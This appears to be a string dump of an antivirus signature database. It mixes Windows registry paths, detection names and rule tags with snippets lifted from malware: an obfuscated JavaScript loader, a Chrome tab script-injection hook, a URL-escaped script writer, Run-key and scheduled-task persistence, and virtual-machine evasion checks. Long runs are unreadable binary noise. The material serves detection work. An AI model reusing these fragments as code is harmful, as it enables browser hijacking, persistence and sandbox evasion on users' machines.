.mp3\\PersistentHandler .obj\\PersistentHandler .ocx\\PersistentHandler .pds\\PersistentHandler .pmc\\PersistentHandler .pml\\PersistentHandler .pmr\\PersistentHandler .reg\\persistenthandler .res\\PersistentHandler .rpc\\PersistentHandler .rsp\\PersistentHandler .sbr\\PersistentHandler .sc2\\PersistentHandler .tar\\PersistentHandler .tsp\\PersistentHandler .wlt\\PersistentHandler .xlb\\PersistentHandler .zip\\PersistentHandler AVIFile\\Extensions\\WAV N{00020003-0000-0000-C000-000000000046} IAS.Auditchannel\\CLSID N{6BC0969D-0CE6-11D1-BAAE-00C04FC2E20D} ias.ntsamperuser\\clsid N{6BC0989C-0CE6-11D1-BAAE-00C04FC2E20D} ias.sdomachine.1\\clsid N{E9218AE7-9E91-11D1-BF60-0080C7846BC0} ias.sdoservice.1\\clsid N{BC94D813-4D7F-11d2-A8C9-00AA00A71DCA} RowPosition.RowPosition LMicrosoft OLE DB Row Position Library \"mime\\database\\charset\\csisolatin1 windows-1252 -CLSID\\{54702535-2606-11d1-999c-0000f8756a10} \"Text Label Class -CLSID\\{55136805-b2de-11d1-b9f2-00a0c98bc547} \"Shell Name Space -clsid\\{0000002f-0000-0000-c000-000000000046} \"CLSID_RecordInfo -clsid\\{30c3b080-30fb-11d0-b724-00aa006c1a01} \"CoMapMIMEToCLSID -clsid\\{73fddc80-aea9-101a-98a7-00aa00374959} \"WordPad Document -clsid\\{cd000001-8b95-11d1-82db-00c04fb1625d} \"CDOMessage Class -clsid\\{ecabb0ac-7f19-11d2-978e-0000f8757e2a} \"MTSLocator Class -clsid\\{ef636392-f343-11d0-9477-00c04fd36226} \"OLE DB Row Proxy 1interface\\{00000125-0000-0000-c000-000000000046} IAdviseSink2 1interface\\{0000013c-0000-0000-c000-000000000046} IRemUnknownN 1interface\\{00000515-0000-0010-8000-00aa006d2ea4} Connection15 1interface\\{76a6415a-cb41-11d1-8b02-00600806d9b6} ISWbemObject 1interface\\{7bf80981-bf32-101a-8bbb-00aa00300cab} IPictureDisp 4clsid\\{3050f3d9-98b5-11cf-bb82-00aa00bdce0b}\\progid mhtmlfile 4clsid\\{9d148290-b9c8-11d0-a4cc-0000f80149f6}\\progid MSITFS1.0 4clsid\\{9d148291-b9c8-11d0-a4cc-0000f80149f6}\\progid 4clsid\\{d54eee56-aaab-11d0-9e1d-00a0c922e6ec}\\progid 5SOFTWARE\\Classes\\HTTP\\shell\\open\\ddeexec\\Application IExplore <interface\\{00020400-0000-0000-c000-000000000046}\\nummethods <interface\\{0c733a63-2a1c-11ce-ade5-00aa0044773d}\\nummethods =CLSID\\{05589FA1-C356-11CE-BF01-00AA0055595A}\\ToolBoxBitmap32 =clsid\\{545ae700-50bf-11d1-9fe9-00600832db4a}\\toolboxbitmap32 SOFTWARE\\WebMoney\\Path NC:\\Program Files\\WebMoney\\WebMoney.exe .SOFTWARE\\Microsoft\\Internet Explorer\\Settings Text Color 0,0,0 'software\\Microsoft\\Rpc\\ClientProtocols  ncacn_ip_tcp *SOFTWARE\\Microsoft\\MSLicensing\\HardwareID ClientHWID BUG!.EXE 4system\\currentcontrolset\\services\\scardsvr\\security 6SYSTEM\\CurrentControlSet\\control\\safeboot\\network\\afd 6software\\microsoft\\windows nt\\currentversion\\winlogon taskman :software\\microsoft\\directdraw\\compatibility\\mortalkombat3 :software\\microsoft\\directdraw\\compatibility\\silentthunder =SYSTEM\\CurrentControlSet\\Control\\Session Manager\\DOS Devices =SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment =SYSTEM\\CurrentControlSet\\Services\\Dhcp\\Parameters\\Options\\15 =SYSTEM\\CurrentControlSet\\Services\\remoteaccess\\parameters\\ip protocols\\handler\\cdl RCDL: Asychronous Pluggable Protocol Hand protocols\\handler\\its Rits: Asychronous Pluggable Protocol Hand hhctrl.filefinder\\clsid N{ADB880A4-D8FF-11CF-9377-00AA003B7A11} microsoft.xmlhttp\\clsid N{ED8C108E-4349-11D2-91A4-00C04F7969E8} JobObjectProv.JobObjectProv FWin32_JobObject Provider Component -CLSID\\{0D43FE01-F093-11CF-8940-00A0C9054228} $FileSystem  MonitoringTool:Win64/RefogKeylogger #MonitoringTool:Win64/RefogKeylogger Pz:\\Projects\\ReleaseRepository\\MonitorProject\\Delphi\\Distr\\RefogMonitor\\Mpk64.pdb FMUTEX_PROGRAMM_RUNNING:MPK64_LOADERg Mpk64.dll WM_IMHOOK_KG WM_MOUSEMOVEHOOK_KG Refog Inc GET /im/sendIM?comscoreChannel <Ymsg Command=\"6\" D[vbaY \\\\NetSpy\\\\Distr\\\\KGBSpy\\\\Mpk64\\.pdb )$\\\\NetSpy\\\\Distr\\\\KGBSpy\\\\Mpk64\\.pdb !Pirrit varpopups_uri=\"https://suggestor.pirrit.com/engine/getpopups.php Bvarpopups_uri=\"https://suggestor.pirrit.com/engine/getpopups.php 1checkAndRunPirrit() PirritDesktop PirritDesktopx` 1finishedDownloadInjectionContent(QNetwork var prtLoader function prtInIframe function prtInIframex id=\"pirrit_is_service var PIRRIT_IS_INSTALLED var PIRRIT_IS_SERVICE var PIRRIT_EXTID var pirritLoader suggestor.pirrit.com suggestor.pirrit.com~ !Dorkbot.gen!plock !Beebone.gen!H sbiedll dbghelp  snxhk NSYSTEM\\ControlSet001\\Services\\Disk\\Enum *VMWARE* *QEMU* /c tasklist&&del  SoftwareBundler:Win32/WbSft .exe\\sogouexplorer\\sogouexplorer.exe\\hpset.exe\\taobao\\baidu-toolbar.exe\\taobao\\info p.exe\\sogouexplorer\\sogouexplorer.exe\\hpset.exe\\taobao\\baidu-toolbar.exe\\taobao\\info  taobao\\sogou_pinyin_mini !Kuluoz.D!!Kuluoz.gen!A <knock><id>%s</id> <knock><id>%s</id>] MonitoringTool:Win32/Letsurk Misleading:Win32/PromptUp BrowserModifier:Win32/Vonteera BrowserModifier:Win32/Vonteera5@* 8~Q_\\ 8~Q_\\6) :JkHZ9   ne+g {6DD1B906-45FA-4A57-9AC6-01108C25067F} AVCNoVooITPluginModule@@ $_IDispEventLocator@$00$1?DIID_DWebBrowserEvents TypeLib' = s '{3FC2D59A-5C76-1E97-30DC-1EC6784419E5}' ProgID = s 'DigiAd.DigiAd.1' ForceRemove {2ED35963-FCC9-4698-B619-787FE1C75079} = s 'DigiAd Class' script.id = \"adnetworkme_js\" addon@Vonteera.com Software\\Vonteera Safe ads SOFTWARE\\NoVooITSet \\NoVooITAddon www.acdcads.com/aff/thanks/thanks3.php?code= /output:\"sn.txt\" bios get serialnumber apsrunner/ADSKO/noodleup.exe apsrunner/ADSKO/ver.txt noodrun.exe /SC DAILY /TN \"nod01\" hjmjt.kkp ProgID = s 'adTech.adTech.1' ForceRemove {934B156A-3D17-3981-B78A-5C138F423AD6} = s 'adTech Class' www.adnetworkus.com www.adfactorytech.com var _0xec03=[\"\",\"\\x68\\x74\\x74\\x70\\x3A\\x2F\\x2F\\x77\\x77\\x77\\x2E\\x61\\x6C\\x61\\x72\\x61\\x62\\x65\\x79\\x65\\x73\\x2E\\x63\\x6F\\x6D gRandScriptUrls[_0xec03[56]+_0xe525x2b[0]][_0xec03[61]] var _0xe525x27= new XMLHttpRequest();_0xe525x27[_0xec03[50]](_0xec03[49], var _0xe525x23=localStorage[_0xec03[45]];if(!_0xe525x23||parseInt(_0xe525x23)===NaN) /Delete /tn \"mium0d\" /f function initTabNewHook(){ chrome.tabs.onCreated.addListener(function(tab){  chrome.tabs.get(tab_id, check_for_js_injection); function add_remove_script(url) return 'var Adtech_users_js gRandScriptUrls[\"ht\" + tmp[0]].push(\"ht\" + tmp[0] + \"://\" + tmp[1] + \".\" + tmp[2] + \"/\" + ((tmp[3] === \":\") ? \"\" : (tmp[3].replace(/\\:/, \"\") + \"/\")) + tmp[4] + \".js\"); console.log('Injected to', tab.url); SCRIPT:BrowserModifier:Win32/Vonteera.A-1&SCRIPT:BrowserModifier:Win32/Vonteera.A-2&SCRIPT:BrowserModifier:Win32/Vonteera.A-3&SCRIPT:BrowserModifier:Win32/Vonteera.A-4_ \\Tasks\\nod_ %\\Tasks\\nod_ \\Tasks\\nod01_ %\\Tasks\\nod01_ \\Tasks\\iBackup_ %\\Tasks\\iBackup_ \\Tasks\\SystemTask` %\\Tasks\\SystemTask` \\den` \\Twr` \\npp` #\\npp` \\Fixs` \\denc` \\benko` \\Bonzo` \\PlusN` \\Qtwin` \\VolIE` \\crown` \\miaul` \\pdfie` \\Wixer` \\sherp`\t #\\sherp`\t \\Cloud5`\t \\Popper`\t \\SoftAd`\t \\arhome`\t \\charts`\t \\rickos`\t \\AppUpd`\t \\Hoffer`\t \\AppUpd` \\Hoffer`\t&\\AppUpd` \\Flasher` \\orlando` \\CrashRep` \\Notepader` \\myNotepad` \\Convertor` #\\Convertor` \\NewNotepad` \\NoVooITAddon` &\\NoVooITAddon` \\NoVooIT\\ARhome` \\recoveredfiles` &\\NoVooIT\\ARhome` C:\\ProgramData\\npp] !Brya SoftwareBundler:Win32/Monzistall  SoftwareBundler:Win32/Monzistall dynconiehkey_current_user\\software\\appdatalow\\software\\dynconie\\pricesparrow-1.4.9-instmono-win.exepricesparrow.versionhkey_current_user\\software\\ciuvo1.4.9\\plus-hd-cp1-de.exehkey_current_user\\software\\installedbrowserextensions\\plushd\\csudealply-im-bundle.exe\\csudealply-im-bundle.exenoyes52~12/181~12from=wrapper&type=wrapper&itemid=&subitemidinfo=&pubid=&cbid=&mgu=&subid=&mid=&status=12&dpc=&pbid=~&gvnd=~&mrl=&mnhr=&prmid=null&offid=52~11/181~12from=wrapper&type=wrapper&itemid=&subitemidinfo=&pubid=&cbid=&mgu=&subid=&mid=&status= !Beebone.RI !Dofoil.Z Dotdoads document.write( unescape( '%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%27%4A%61%76%61%53%63%72%69%70%74%27%20 %68%74%74%70%3A%2F%2F%61%61%2E%64%6F%74%64%6F%2E%6E%65%74%2F%61%64%73%73c= SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\\\autoauto 7SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\\\autoauto] SoftwareBundler:MSIL/Dotdoads !Stylebot  r)$g& g&13gH !GoSave  j4P\" !FlashSavings \\Torch\\User Data\\Default\\Extensions\\oiigbmnaadbkfbmpbfijlflahbdbdgdf`N \\Comodo\\Dragon\\User Data\\Default\\Extensions\\oiigbmnaadbkfbmpbfijlflahbdbdgdf`N \\Google\\Chrome\\User Data\\Default\\Extensions\\oiigbmnaadbkfbmpbfijlflahbdbdgdf`R \\Chromatic Browser\\User Data\\Default\\Extensions\\oiigbmnaadbkfbmpbfijlflahbdbdgdf`R \\Google\\Chrome SxS\\User Data\\Default\\Extensions\\oiigbmnaadbkfbmpbfijlflahbdbdgdf] Rogue:Win32/Trapwot get_two? &{A14EF3FF-EB89-4FF8-B870-F058C1ABFC45} L//e:vbscript //B //NOLOGO \"AV Name\" \"{8E5CADC3-2C41-4886-B211-9C1D59EDD30F}\" $Defender PRO 2015 installation Setup DefendrvPro.exe (Malware Defender 2015 installation Setup  MDefender.exe  <h[Og 8x&T4 IE4ZJ  gB=|g WcFMqv keILG keIw}0 GyH\tl \"Jha[  B6&9g  zl5?g C8l=' uggc:// /vzt/ccp.rkr jvavarg Vagrearg PerngrCebprffN TrgGrzcCnguN x /get_two.php? RunInvalidSignatures CheckExeSignatures RunInvalidSignaturesCheckExeSignaturesnox onLoadedstopScanstartSearchbuyProduct Scan for viruses parttwo.dll parttwo.dllEntryPoint BlockedShutdownResolverSeShutdownPrivilege openProtectopenShop stopScangetAdvIdx get_two?v= @tA@@ 0DPAA QPELP q@@t0 NedTT e_z[] TdPQA  BWH0 `p#X5s !#ALF:TrojanDropper:O97M/Goodabox.A!dha !#TEL:ECCert!AT !#TEL:ECCert!Ce !#TEL:ECCert!MS !#TEL:ECCert!OT !#TEL:ECCert!TH !#TEL:ECCert!VS !#//AGGR:LinkFile  !#AMSI:JAMSI:RunML \t!#AMSI:JAMSI:RunML !#TEL:ECCert!DCC !#TEL:ECCert!Ent !#TEL:ECCert!GTI !#TEL:ECCert!NSL !#TEL:ECCert!eMI !#TEL:ECCert!thw !#AGGR:OpclCl.E !#TEL:Astroshell  !#TEL:ECCert!AMZN  !#TEL:ECCert!GTSL  !#TEL:ECCert!SyTN  !#TEL:ECCert!TUTN  !#TEL:ECCert!eMTL  !#AMSI:WMI:RunML !#Context:DataUrl !#TEL:ECCert!Certp !#TEL:ECCert!SSLCO !#//AGGR:OfficeFile !#TEL:ECCert!CMDCAL !#TEL:ECCert!GlbSig !#TEL:ECCert!HARICA !#TEL:ECCert!SETSCO !#TEL:ECCert!WoSCAL  !#NotInteresting !#ALF:Lnk/Adwind.J!ibt  !#SLFPER:AGGR:SamPpl.M  !#AMSI:VBS:RunML !#ALF:XL4InMail.A !#SLF:SuspJavaInMail !#TEL:ECCert!OISTEFE !#AMSI:PS:RunML !#SuspLnkArchive !#AGGR:WinZip_winsfx !#SLFPER:RDPProcExec.A !#ALF:O97M/Zloader.AJ!ibtjJA !#AGGR:Redirector_exclusion  !#SLF:NtdsExfil.A !#BM_NewUnsignedExe !#TEL:RansomNotes.C !#TEL:RansomNotes.D !#TEL:RansomNotes.E !#//AGGR:CMDEmbedded !#ALF:AMSI2:ML:Ps:98 !#ALF:AMSI2:ML:Ps:99 !#//SCPT:ActionSpy.BC !#TEL:ECCert!MEUSCA21 !#TEL:ECCert!MEUSCA22 !#TEL:ECCert!MEUSCA23 !#SLFPER:AGGR:SamSam.W !#AGGR:PAKFile !#AGGR:JAR_File !#AGGR:Vampa:70!ml !#ALF:JobLaunchIEURL !#BM_WhiteListRansom !#//SCPT:ActionSpy.BB !#SLFPER:AGGR:SamSam.M !#AGGR:EnumFileExeptions !#AGGR:EnumProcExeptions !#AMSI:JS:RunML !#SLF:AGGR:PU2RD.1 !#SLF:SuspOleSMail !#LnkHasEnvWithBang !#ALF:AMSI2:ML:Wmi:80 !#ALF:AMSI2:ML:Wmi:90 !#ALF:AMSI2:ML:Wmi:95 !#ALF:AMSI2:ML:Wmi:98 !#ALF:AMSI2:ML:Wmi:99 !#AGGR:MS_KWAJ_Archive !#AGGR:MS_SZDD_Archive !#ALF:AggJSInEmailO365 !#TEL:ECCert!MERCA2017 !#BM_DropperAutInjectAS !#AGGR:InjectionExeptions !#TELPER:AGGR:ADSLaunchPE !#ALF:PEembedViaXOR !#BM_DropperObscureDll !#BM_DropperObfuscatorN !#BM_DropperObfuscatorQG !#BM_DropperObfuscatorVM !#BM_DropperObfuscatorZK !#AGG:Nivdort.STRUCT !#AGGR:Rebhip_Config!A !#TEL:ECCert!MEDRCA2017 !#TEL:ECCert!MEDRCA2018 !#TEL:ECCert!MEPRCA2018 !#TEL:ECCert!METPCA2018 !#TEL:ECCert!METRCA2017 !#BM_DropperObfuscatorACP !#BM_ReverseObfuscatedScript !#ALF:AGGR:Vampa:80!ml !#ALF:AGGR:Vampa:90!ml !#ALF:AGGR:Vampa:95!ml !#ALF:AGGR:Vampa:99!ml !#BM_DropperGamarueDll !#AGGREGATOR:LowfiBanker !#//AGGR:Lua:LNKinISOFound !#TEL:AGGR:Lua:SingleJSIn7z !#TEL:AGGR:Lua:SinglePSIn7z !#AGGR:EnumAdaptersExeptions !#AGGREGATOR:MustEmulateTest !#//DocMLFile !#BM_MSHTA_LNK !#SLF:SuspLnkMail !#TEL:ECCert!MEMTPCA2018 !#TEL:ECCert!METPPCA2019 !#TEL:ECCert!METSRCA2018 !#TEL:ECCert!MSSPPCA2018 !#TEL:PsB64ExeBiggeFileSize !#//OLEHasJar 1  !#//OLEHasJar !#AGGR:WebMail !#ALF:HolCam.D !#TEL:Revocats.A !#//ALF:Malcert.B1 !#BM_PS_EncodedIEX !#AGGR:MSI_Installer !#AGGR:ImageEmbedOffice !#ALF:AGGR:Heaple:99!ml !#SLF:SuspOleNativeMail !#ALF:AGGR:Lua:SingleVBSIn7z !#TEL:AGGR:Lua:SingleBATIn7z !#TEL:AGGR:Lua:SingleCOMIn7z !#TEL:AGGR:Lua:SingleHTAIn7z !#TEL:AGGR:Lua:SingleJSEIn7z !#TEL:AGGR:Lua:SingleLNKIn7z !#TEL:AGGR:Lua:SingleVBEIn7z !#TEL:AGGR:Lua:SingleWSFIn7z !#TEL:Backdoor:PHP/Remoteshell.O 1  !#do_exhaustivehstr_rescan_dyzap_s !#BM_DropperNop2 !#AGGR:OpcCl:95!ml !#BM_DropperMiurefB !#AGGR:Miu_VB_Ancona !#AGG:Nivdort.READFILE !#AutoItIgnoreMaxSizesg !#LnkHasEnvWithPercent !#AGGR:ClnAmsiDllWriters !#AGGR:SingleJSInZIP.S001 !#AGG:Strakupa.B !#TEL:Aggr:Sense:Wget !#TEL:Aggr:Sense:PsExec !#TEL:Trojan:O97M/Inoff.B !#TEL:HSTR:Win32/Nabucur.E !#AGGR:Dha_Boron  !#AGGR:Dha_Boron !#ALF:AGGR:Zheg.O !#BM_RevobfoosLnk !#//AutoitInject.BA !#Ransom:HTML/Samas!Lofi !#Context:DataControlGuid !#Context:DataReferrerUrl !#TEL:Revocats.B !!#TEL:Revocats.B !#AGG:Nivdort.AF0  !#AGG:Nivdort.AF0 !#ALF:AGGR:Dldwp.A !#SIGATTR:IrcJoinPort !#ALFPER:SCPT:Spora.A1 !#BM_UnknownFileExtension !#TEL:Trojan:VBS/Donvibs.A !#AGGR:ExcelFormulaRoutines !#ALF:AGGR:AnomalyImphashNew !#ALF:AGGR:AnomalyImphashRet !#//AGGR:AceFileLE1M !#//AGGR:ArjFileLE1M !#AGGR:LNK/StartPage !#ALF:SuspPEFileExec !#BM_PS_EMBEDDED_LNK !#ALF:AGGR:OpcCl:99!ml !#AGGR:Exploit:JS/Redkit !#BM_DropperObfuscatorRefys !#BM_DropperObfuscatorCaphaw !#do_exhaustivehstr_rescan_eorezo !#BM_OSK_EXE '!#BM_OSK_EXE !#//Import_Java $!#//Import_Java $!#AMSI:JS:RunML !#AGG:Nivdort.ABX1 !!#AGG:Nivdort.ABX1 !#ALF:HtaWithIOAV.A  !#ALF:HtaWithIOAV.A !#ALF:XL4InWebMail.A !#TELPER:SCFRemoteIcon !#ALF:AMSI:Scan:VbsEncode !#TEL:PsB64ExeBiggeFileSize.ams !#AGGR:Tesch_Nth_Term_Obfuscator !#TEL:Backdoor:PHP/Remoteshell.SB !#ALF:XL4WithIOAV.A !!#ALF:XL4WithIOAV.A !#ALF:SuspXMLFileExec !#BM_MSHTAEXECUTE_LNK !#BM_HAS_DIGITALSIGNATUREg !#SLF:LNK/SuspExeF.JT!ibt !#SLF:LNK/SuspExec.JT!ibt !#ALF:PPT/HttpLinkScriptInPPT !#ALF:SuspFileInsideUser.J!ibt !#do_exhaustivehstr_rescan_torwofun_a !#LnkInRoot *!#LnkInRoot !#//RarSfxSilent %!#//RarSfxSilent !#BM_DropperNop1 %!#BM_DropperNop1 3333333J !#//NSIS_Installer #!#//NSIS_Installer !#ALF:AGGR:EroMal1 #!#ALF:AGGR:EroMal1 !#ALF:AGGR:EroMal2 #!#ALF:AGGR:EroMal2 !#TEL:HTML/Phish.I #!#TEL:HTML/Phish.I !#AllowList:MpSigStub  !#AllowList:MpSigStub !#AGGR:ExcelSiorType.C !#ALF:SuspPDFWebmail.C !#SLF:AGGR:Lua:VbChain.A !#SLF:LNK/SuspExecA.JT!ibt !#TEL:Trojan:Win32/Dender.F !#AGGR:FileNameSuspicious.A1 !#BM_DropperBlob:Win32/UpatreD !#SLF:AGGR:PEembededViaXor.S001 !#ALF:XL4InMail.B %!#ALF:XL4InMail.B !#BM_PSHIDDEN_LNK %!#BM_PSHIDDEN_LNK !#AGG:Nivdort.SYNC $!#AGG:Nivdort.SYNC !#ALF:AGGR:Bampa:70!ml  !#ALF:AGGR:Bampa:70!ml !#ALF:AGGR:Bampa:80!ml  !#ALF:AGGR:Bampa:80!ml !#ALF:AGGR:Bampa:90!ml  !#ALF:AGGR:Bampa:90!ml !#ALF:AGGR:Bampa:95!ml  !#ALF:AGGR:Bampa:95!ml !#ALF:AGGR:Bampa:99!ml  !#ALF:AGGR:Bampa:99!ml !#ALFPER:AGG:Igaayela.A !#ALF:ShellCodeInB64withXOR !#SLF:ContextualEnvironment !#TEL:Backdoor:JS/CMDFromWMI !#ExceptionExt )!#ExceptionExt !#SIGATTR:Keylog '!#SIGATTR:Keylog !#FOP:Deep_Analysisj $!#FOP:Deep_Analysisj !#AGG:AutoItTrayHide #!#AGG:AutoItTrayHide !#ALF:DumpADCreds.J!ibt  !#ALF:DumpADCreds.J!ibt !#BM_DropperObfuscatorUR !#//AGGR:SuspWin32APInCMD !#ALF:Cert_12E7-3064-6112 !#ALF:Cert_7AB5-2DF2-DA3F !#SLF:AGGR:Lua:MshtaLnk.A !#ALF:AGGR:Java/Adwind.F!eml !#ALF:HMValidateHandleCalledD !#ALF:AGGR:SuspiciousFileNamePe !#ATTR:Lua:FlashInPdfMoreThan_2 !#ATTR:Lua:FlashInPdfMoreThan_3 !#ATTR:Lua:FlashInPdfMoreThan_5 !#SLFPER:MultiFileTypeTrick.A!rsm !#BM_PSENCODED_LNK &!#BM_PSENCODED_LNK !#AGGR:IEV_RES_TRICK $!#AGGR:IEV_RES_TRICK !#ALF:Win32/Pdfshell.A \"!#ALF:Win32/Pdfshell.A !#ALF:AMSI:Excel4:Exec.A  !#ALF:AMSI:Excel4:Exec.A !#TEL:Python/Meterpreter  !#TEL:Python/Meterpreter !#AGGR:Exploit:JS/ExpKitRef !#ALF:Win32/PWE.Linsuavev.H !#LnkHasEnvWithPercentColon !#TEL:Trojan:Win32/Coydif.A t;cCf  t;cCf  t>/S  t?9k t?^9su  t?^9su 3\":RP  t@I( 6`;?*YL tH`bg  tH`bg tIgv(/H  tIgv(/H ~CNemC/ l004\"#9W \",EG|v$7^s8 tMJ4gy(  tMJ4gy(  tMp* A,24a rqP#I@&  e8Mz!* tV]{N  tV]{N  tWda Wc-6vv t_HMu  t_HMu Yt:Q\t  tc-c D$1#Y9 Ozw{J tl 'a  tl 'a  `%ge& ^0`s\\  tqLZ>$ S]eY< ,)XSc% tx<!;  tx<!; ]`\\Uj  t{D_ 4z|\"9-sR |r=dX 9jxY0?g ]#m(gH FRn*y n`3D=z %cH\\r y&*+R*O T=w,cb eq5cl\\Y  3Qd^\" =Qt/a ,CERR -Yy`-m +\"wa] (,]yy` pL{Y% }\tBTFH AxoW^ !#$iX KPh/4  ZLct j}\"DO Ocwz 2j \"\t4n[_ \tGk[! vWN%:1 (e2=O *}= n U5T_g b @P7{ X:T6&A BYz%i dY\t&K WNN<n {ku r NlW>A 4frdL QL]JF {6JM]J<^j;  sqAA/ {*:V2 85aBsCAM> 7>7lp oxc3W (! cW Sezgz zm.\"<X XDbagg E>)2)) YTBba ZfM7B Jpx|& ]{qR: &R*;r E&qU^ j~^5n !sgy' Y}aEn8FJ \tO1O? qH4hH pIk`w haa\"Ne  5_l' ^qF+o OcNYf  _:`G[ FXSJ{e j8N Nx I|;R+ SZ\t*y,e B:dsD@6 oM(xPy  '9vq_ tlb17 (3(.<B xyhi0 &~-ty ?sTD<f :\t8}. Z}G a TW[R$n >\\rbx} lbI C yuo-K+ `5p\\2 L^=kd  :L.X <+yRs gyi|H WHd+X (s+FG pc?1S d\t ~C r:jJh Xk>K] rtER\")4 iVPS4 W?Fn\t b n  k `jT'1 vO]q:Q p,Wm1[ SXr]_ e9N\", ZCcyVt[B WmySu\\Q xM3.D D+}\"/l, dQjyA2r1 } =bAB h :$IS jv\"(oV Z;.tPqs g\"kz( @g&T`  : B  : j! BXQ Y{ bkC~W  }StA&, TVU5M' :!l2i  :!l2i lsPRF  :#pO  :&aX  :(r,  :)cE  :+ng ;>7k( RY eX -de6Hqh  :0@\t 55wXi }Ejb<  :38h CTqJ5  :5/\t :6!'&rt  :6!'&rt  :9{  :9}H\t  :9}H\t ;G*ci, f]l3< :C]Ae  :C]Ae :C`\\K}  :C`\\K} I_xU\" :Dd]v<k  :Dd]v<k gTC)#3 QUFX@c ]u5*R \tsCFy;_  :M5! :NU]V  :NU]V Gi8NCy :Oq+k>  :Oq+k> tn1#F SXWGU  :PUH  :Q\\d XStPn 3C53v C`<M1$  :aj2 ?Uk8W\\1 nCW?! 2D4]- >-.{ z1 :dJgA>92T4  :dJgA>92T4 7~;hmc8  :e\\> :kHY\\  :kHY\\ u! >ix  :m/T  :m?% :j}UZ  :qEQ  :u`Q 8An1 5hZ :vtBj9  :vtBj9 cP3Z0tnT ?|+1H l;`mEDz2  mZtB e|PW! `lSx3\"] |`TNB q<re> S<\t@* IrfDs \"IZ<X ULjr0 #MNrMvP {:<<e OLEq9J o2Yr! gzWdz ha ). hAQ$ NjJ  )l+ p_qPB bP\\FV ~.r=r xm5Yu .exe,0 ClientCaps.ClientCaps.1 \"ClientCaps Class SOFTWARE\\Microsoft\\WAB\\DLLPath wab32.dll SOFTWARE\\Classes\\.tiff $TIFImage.Document (SOFTWARE\\Classes\\.dbg\\PersistentHandler (SOFTWARE\\Classes\\.dot\\PersistentHandler (SOFTWARE\\Classes\\.exp\\PersistentHandler (SOFTWARE\\Classes\\.imc\\PersistentHandler (SOFTWARE\\Classes\\.wll\\PersistentHandler (SOFTWARE\\Classes\\Applications\\cchat.exe (SOFTWARE\\Classes\\Applications\\msimn.exe (SOFTWARE\\Classes\\htmlfile\\shell\\printto (SYSTEM\\CurrentControlSet\\Services\\IPNAT (SYSTEM\\CurrentControlSet\\Services\\modem (SYSTEM\\CurrentControlSet\\Services\\mspqm (SYSTEM\\CurrentControlSet\\services\\atapi (SYSTEM\\CurrentControlSet\\services\\rdbss (SYSTEM\\controlset001\\Services\\acpi\\enum (software\\classes\\wmisnapinabout.1\\clsid (system\\controlset001\\control\\nls\\locale (system\\currentcontrolset\\services\\iris5 CDO.DropDirectory 0CDO DropDirectory class BMPFilter.CoBMPFilter.1 $CoBMPFilter Class ^)fRecordingTerminal.FileRecordingTerminal )Control Panel\\Accessibility\\Blind Access HARDWARE\\DEVICEMAP\\VIDEO MaxObjectNumber )SOFTWARE\\Classes\\Applications\\finder.exe )SOFTWARE\\Classes\\Applications\\themes.exe )SYSTEM\\ControlSet001\\Services\\DcomLaunch )SYSTEM\\CurrentControlSet\\Control\\Pnp\\Pci )SYSTEM\\CurrentControlSet\\Services\\CmBatt )SYSTEM\\CurrentControlSet\\Services\\hidusb )SYSTEM\\CurrentControlSet\\Services\\isapnp )SYSTEM\\CurrentControlSet\\Services\\mouhid )SYSTEM\\CurrentControlSet\\Services\\trkwks )SYSTEM\\CurrentControlSet\\Services\\wanarp )SYSTEM\\CurrentControlSet\\services\\PCIIde )SYSTEM\\CurrentControlSet\\services\\Pcmcia )SYSTEM\\CurrentControlSet\\services\\mrxsmb )SYSTEM\\CurrentControlSet\\services\\rasacd )SYSTEM\\controlset001\\services\\rpclocator )Software\\Classes\\Wscript.network.1\\clsid )software\\classes\\javascript1.2\\olescript )software\\classes\\javascript1.3\\olescript )software\\classes\\wmicntl.wmisnapin\\clsid CDO.Configuration.1 .CDOConfiguration Class Microsoft.DiskQuota.1 *Microsoft Disk Quota ias.basecamphost\\curver &IAS.BaseCampHost.1 !Software\\ODBC\\ODBC.INI\\Interbase  driverdll $Control Panel\\Accessibility\\TimeOut SOFTWARE\\Classes\\.sst *CertificateStoreFile SymbolicLinkValue )software\\classes\\http\\shell\\open\\command *SOFTWARE\\Classes\\Applications\\cdfview.dll *SOFTWARE\\Classes\\Applications\\cmmgr32.exe *SOFTWARE\\Classes\\Applications\\depends.exe *SOFTWARE\\Classes\\Applications\\dsquery.dll *SOFTWARE\\Classes\\Applications\\inetcpl.cpl *SOFTWARE\\Classes\\Applications\\mspaint.exe *SOFTWARE\\Classes\\Applications\\shdocvw.dll *SOFTWARE\\Classes\\Applications\\shell32.dll *SOFTWARE\\Classes\\Applications\\shscrap.dll *SOFTWARE\\Classes\\Applications\\wltmime.exe *SOFTWARE\\Classes\\Applications\\wscript.exe *SOFTWARE\\Classes\\Applications\\zipfldr.dll *SYSTEM\\ControlSet001\\Services\\Disk\\Enum\\0 *SYSTEM\\ControlSet001\\services\\hidusb\\enum *SYSTEM\\ControlSet001\\services\\policyagent *SYSTEM\\ControlSet001\\services\\usbhub\\enum *SYSTEM\\CurrentControlSet\\Control\\Arbiters *SYSTEM\\CurrentControlSet\\Control\\hivelist *SYSTEM\\CurrentControlSet\\Services\\appmgmt *SYSTEM\\CurrentControlSet\\Services\\tapisrv *SYSTEM\\CurrentControlSet\\control\\usbflags *SYSTEM\\CurrentControlSet\\services\\lmhosts *SYSTEM\\CurrentControlSet\\services\\ndproxy *SYSTEM\\CurrentControlSet\\services\\rasl2tp *Software\\policies\\microsoft\\windows\\ipsec *software\\classes\\wmicntl.wmisnapin\\curver *system\\currentcontrolset\\services\\mskssrv *system\\currentcontrolset\\services\\netctrl *system\\currentcontrolset\\services\\sbiedrv *system\\currentcontrolset\\services\\sdbgmsg  Content Type6application/x-x509-ca-cert HHCtrl.FileFinder b\"mime\\database\\charset\\_autodetect \tcodepage SOFTWARE\\Classes\\.xsl ,VisualStudio.xsl.10.0 'system\\currentcontrolset\\services\\bits +SOFTWARE\\Classes\\Applications\\faxcover.exe +SOFTWARE\\Classes\\Applications\\kodakprv.exe +SOFTWARE\\Classes\\Applications\\winhlp32.exe +SOFTWARE\\Microsoft\\NET Framework Setup\\NDP +SYSTEM\\ControlSet001\\Services\\Dhcp\\Linkage +SYSTEM\\ControlSet001\\Services\\lanmanserver +SYSTEM\\CurrentControlSet\\Enum\\ACPI\\PNP0303 +SYSTEM\\CurrentControlSet\\Services\\Compbatt 